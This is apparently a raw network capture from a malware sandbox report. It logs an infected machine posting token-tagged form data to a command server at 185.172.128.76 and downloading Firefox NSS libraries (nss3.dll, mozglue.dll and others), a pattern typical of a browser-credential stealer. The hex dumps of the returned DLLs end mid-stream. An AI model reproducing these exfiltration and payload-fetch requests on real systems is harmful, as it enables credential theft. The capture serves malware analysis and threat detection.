Apr 25, 2024 14:42:03.597804070 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 25, 2024 14:42:03.597815037 CEST	1289	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1U
Apr 25, 2024 14:42:03.597871065 CEST	1289	IN	Data Raw: 02 c1 e3 07 09 cb 89 1a e9 4c 01 00 00 0f b6 70 02 0f b6 db c1 e3 0e 09 f3 f6 c3 80 75 1e 83 e1 7f 81 e3 7f c0 1f 00 c7 42 04 00 00 00 00 c1 e1 07 b0 03 09 cb 89 1a e9 1d 01 00 00 0f b6 70 03 0f b6 c9 81 e3 7f c0 1f 00 c1 e1 0e 09 f1 f6 c1 80 75 Data Ascii: LpuBpuBxMMuMZ2Mx]uZxu
Apr 25, 2024 14:42:05.255937099 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 185.172.128.76 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:05.605076075 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:05.700520039 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJ Host: 185.172.128.76 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:06.042860985 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:06.058589935 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file"------GIDBKKKKKFBGDGDHIDBG--
Apr 25, 2024 14:42:06.395768881 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:06.784893990 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Apr 25, 2024 14:42:07.121563911 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:07.285468102 CEST	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:07.601530075 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:07 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 25, 2024 14:42:08.325819969 CEST	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:08.643627882 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:08 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 25, 2024 14:42:09.148911953 CEST	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:09.461123943 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:09 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 25, 2024 14:42:09.825692892 CEST	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:10.141268015 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:10 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 25, 2024 14:42:11.199204922 CEST	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:11.511284113 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:11 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 